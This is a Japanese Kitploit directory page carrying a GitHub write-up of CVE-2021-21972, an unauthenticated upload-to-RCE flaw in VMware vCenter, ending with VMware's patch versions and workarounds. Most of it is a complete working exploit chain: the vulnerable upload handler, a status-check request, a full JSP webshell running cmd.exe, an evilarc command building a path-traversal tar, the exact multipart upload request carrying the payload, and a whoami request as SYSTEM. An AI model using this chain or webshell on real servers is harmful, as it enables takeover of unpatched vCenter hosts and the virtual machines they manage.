Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-21972 — [CVE-2021-21972] VMware vSphere Client の未認証ファイルアップロードによるリモートコード実行 (RCE) | Kitploit
ツール/GitHubGitHub/murataydemir/cve-2021-21972
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubmurataydemir/cve-2021-21972

CVE-2021-21972

[CVE-2021-21972] VMware vSphere Client の未認証ファイルアップロードによるリモートコード実行 (RCE)

リポジトリを見る
615年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

[CVE-2021-21972] VMware vSphere Client の権限のないファイルアップロードによるリモートコード実行 (RCE)


vSphere Web Client (HTML5) は本質的に、vSphere インストールを管理するための管理インターフェースです。vSphere Client は、vSphere サーバーに直接アクセスすることなく、vSphere の主要機能へのアクセスを管理者に提供します。これにより、管理者は新しい仮想マシンを作成し、既存の仮想マシンとそのリソースを管理できます。クロスプラットフォームの Web アプリケーションとして、サポートされているすべてのオペレーティングシステムで、さまざまな Web ブラウザのサポートバージョンを通じて使用できます。

CVE-2021-21972 は、vCenter Server における権限のないファイルアップロードの脆弱性であり、リモートサーバーでのリモートコード実行につながります。この問題は、vRealize Operations vCenter Plugin における認証の欠如に起因します。CVSSv3 スコアは 10.0 点中 9.8 点の重要度と評価されています。認証されていないリモート攻撃者は、公開されている脆弱な vCenter Server エンドポイントに特別に細工されたファイルをアップロードすることで、この脆弱性を悪用する可能性があります。VMware vCenter Server の 6.5、6.7、7.0 の各バージョンが影響を受けます。この脆弱性の悪用に成功すると、攻撃者は vCenter Server の基盤となるオペレーティングシステムにおいて制限のないリモートコード実行 (RCE) 権限を取得することになります。この脆弱性は vRealize Operations vCenter Plugin に起因するものですが、VMware のセキュリティアドバイザリでは、このプラグインは vCenter Server の すべてのデフォルトインストールに含まれている と確認されています。これは、脆弱なエンドポイントが vRealize Operations の有無にかかわらず利用可能であることを意味します。

元のブログ記事はこちらで、脆弱性の発見について可能な限り詳細に説明されており、RCE を達成するための 2 つの独立した経路も示されています。Windows システムの場合、攻撃者は特別に細工された .jsp ファイルをアップロードして、基盤となるオペレーティングシステムで NT AUTHORITY\SYSTEM 権限を取得できます。Linux システムの場合、攻撃者は公開鍵を生成してサーバーの authorized_keys パスにアップロードし、その後 SSH 経由で脆弱なサーバーに接続して vsphere-ui ユーザー権限を取得する必要があります(SSH サービスが実行中でネットワーク経由でアクセス可能な場合)。

vropsplugin-service.jar は vropspluginui プラグインの Java アーカイブファイルであり、いくつかのクラスやその他の関連関数やメソッドを含んでいます。脆弱なコード部分を以下に示します。このコードスニペットは、vropsplugin-service.jar のコントローラにある ServicesController.class に属しています。下記のコードスニペットでわかるように、uploadOvaFile 関数はエンドポイント/URL /ui/vropspluginui/rest/services/uploadova を担当しています。

脆弱クラスのフルパス: vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class

root@kitploit:~
@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
  public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
    logger.info("Entering uploadOvaFile api");
    int code = uploadFile.isEmpty() ? 400 : 200;
    PrintWriter wr = null;
    try {
      if (code != 200) {
        response.sendError(code, "Arguments Missing");
        return;
      } 
      wr = response.getWriter();
    } catch (IOException e) {
      e.printStackTrace();
      logger.info("upload Ova Controller Ended With Error");
    } 
    response.setStatus(code);
    String returnStatus = "SUCCESS";
    if (!uploadFile.isEmpty())
      try {
        logger.info("Downloading OVA file has been started");
        logger.info("Size of the file received  : " + uploadFile.getSize());
        InputStream inputStream = uploadFile.getInputStream();
        File dir = new File("/tmp/unicorn_ova_dir");
        if (!dir.exists()) {
          dir.mkdirs();
        } else {
          String[] entries = dir.list();
          for (String str : entries) {
            File currentFile = new File(dir.getPath(), str);
            currentFile.delete();
          } 
          logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
        } 
        TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
        TarArchiveEntry entry = in.getNextTarEntry();
        List<String> result = new ArrayList<String>();
        while (entry != null) {
          if (entry.isDirectory()) {
            entry = in.getNextTarEntry();
            continue;
          } 
          File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
          File parent = curfile.getParentFile();
          if (!parent.exists())
            parent.mkdirs(); 
          OutputStream out = new FileOutputStream(curfile);
          IOUtils.copy((InputStream)in, out);
          out.close();
          result.add(entry.getName());
          entry = in.getNextTarEntry();
        } 
        in.close();
        logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
      } catch (Exception e) {
        logger.error("Unable to upload OVA file :" + e);
        returnStatus = "FAILED";
      }  
    wr.write(returnStatus);
    wr.flush();
    wr.close();
  }

攻撃者の視点から見ると、このクラスのハンドラは以下のアクションを実行しています。

  • POST メソッドリクエストで uploadFile パラメータを受信 (2 行目)
  • uploadFile パラメータを読み取り、その内容を inputStream 変数に書き込み (22 行目)
  • 結果のデータを .tar アーカイブとして開く (34 行目)
  • アーカイブのすべてのエントリを取得 (35 行目)
  • 各現在のエントリを、ファイル命名規則 /tmp/unicorn_ova_dir + entry.getName() を使用してディスク上に作成 (42 行目と 47 行目)

概念実証: この脆弱性を悪用するには、以下の手順を使用できます。

  1. 脆弱性の確認
  2. 文字列 ../../ を含む .tar アーカイブエントリを作成
  3. 細工されたアーカイブファイルをサーバーにアップロード
  4. 関連するパスに移動し、アップロードしたファイル /statsreport/uploadedFileName.jsp を呼び出す

脆弱性を確認するには、次のリクエストを使用できます。

root@kitploit:~
GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

上記のリクエストに対するレスポンスが以下のようなものであれば、リモートホストは CVE-2021-21972 に対して脆弱であることを意味します。

root@kitploit:~
HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous

{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
root@kitploit:~
HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close

{"States":"[OVF_DEPLOY_START, OVF_DEPLOY_IN_PROGRESS, OVF_DEPLOY_SUCCESS, VROPS_CONFIGURATION_START, VROPS_CONFIGURE_MASTER_START, VROPS_INIT_CLUSTER_START, VROPS_INIT_CLUSTER_ERROR, VROPS_CONFIGURATION_SUCCESS]","Install Progress":"UNKNOWN","Config Progress":"VROPS_CONFIGURATION_SUCCESS","Config Final Progress":"CONFIGURE_VROPS_FAILED","Install Final Progress":"UNKNOWN"}

その後、細工された .tar ファイルを作成する必要があります。これには evilarc を使用できます。evilarc は基本的な Python スクリプトで、埋め込みパスにディレクトリトラバーサル文字を含む zip ファイルを作成できます。

基本的に webshell である cmdjsp.jsp の内容

root@kitploit:~
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

以下のコマンドで、細工された .tar アーカイブファイルが生成されます。

root@kitploit:~
> python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl3.tar cmdjsp.jsp

Creating winexpl3.tar containing ..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp

> cat winexpl3.tar

././@LongLink0000000000000000000000000000015300000000000011214 Lustar  00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar  muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

次に、以下のリクエストを使用して .tar ファイルをサーバーにアップロードします。

root@kitploit:~
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vulnerablehost
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 1200

------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain

././@LongLink0000000000000000000000000000015300000000000011214 Lustar  00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar  muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>
------WebKitFormBoundaryH8GoragzRFVTw1VD--

上記のリクエストのレスポンスは次のとおりです。

root@kitploit:~
HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=80343ED805CE2BCCE497958D3AC9D164; Path=/ui; Secure; HttpOnly
Date: Tue, 06 Apr 2021 15:06:56 GMT
Connection: close
Server: Anonymous
Content-Length: 7

SUCCESS
スクリーンショット 2021-04-06 19:11:52

上記のリクエストのレスポンスステータスコードが 200 OK で、ボディが SUCCESS の場合、.tar アーカイブファイルが ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport パスに正常にアップロードされたことを意味します。アプリケーションのフローにより、サーバーは .tar ファイルを /statsreport ディレクトリに展開します。この段階の後、あとは以下の GET リクエストを実行するだけで、NT AUTHORITY\SYSTEM 権限でリモートコード実行が可能です。

root@kitploit:~
GET /statreport/cmd.jsp?cmd=whoami HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

回避策: VMware はこの脆弱性を 7.0 U1c、6.7 U3l、6.5 U3n の各バージョンで修正しています。ただし、パッチをインストールできない場合は、Windows ベースの vCenter Server デプロイで CVE-2021-21972 および CVE-2021-21973 の回避策を実装するには、以下の手順を実行します。

  1. Windows ベースの vCenter Server に RDP 接続する
  2. ファイル C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui\compatibility-matrix.xml のバックアップを取る
  3. compatibility-matrix.xml ファイルをテキストエディタで開く
  4. 以下の行を pluginsCompatibility 要素に追加する: <PluginPackage id="com.vmware.vrops.install" status="incompatible"/>
  5. 以下のコマンドを使用して vsphere-ui サービスを停止し、再起動する
root@kitploit:~
C:\Program Files\VMware\vCenter Server\bin> service-control --stop vsphere-ui
C:\Program Files\VMware\vCenter Server\bin> service-control --start vsphere-ui
  1. その後、VMware vROPS Client プラグインは、 Administration > Solutions > client-plugins で「互換性なし」と表示されるようになります。

Linux ベースの仮想アプライアンス (vCSA) で CVE-2021-21972 および CVE-2021-21973 の回避策を実装するには、以下の手順を実行します。

  1. SSH セッションと root 認証情報を使用して vCSA に接続する
  2. ファイル /etc/vmware/vsphere-ui/compatibility-matrix.xml のバックアップを取る
  3. compatibility-matrix.xml ファイルをテキストエディタで開く
  4. 以下の行を pluginsCompatibility 要素に追加する: <PluginPackage id="com.vmware.vrops.install" status="incompatible"/>
  5. 以下のコマンドを使用して vsphere-ui サービスを停止し、再起動する
root@kitploit:~
> service-control --stop vsphere-ui
> service-control --start vsphere-ui

この脆弱性は Positive Technologies の Mikhail Klyuchnikov によって発見され、元の研究記事はこちらで入手可能です。

詳細については、以下のページを参照してください。

https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://kb.vmware.com/s/article/82374
https://docs.vmware.com/en/VMware-vSphere/7.0/rn/vsphere-vcenter-server-70u1c-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.7/rn/vsphere-vcenter-server-67u3l-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.5/rn/vsphere-vcenter-server-65u3n-release-notes.html

ツールをダウンロード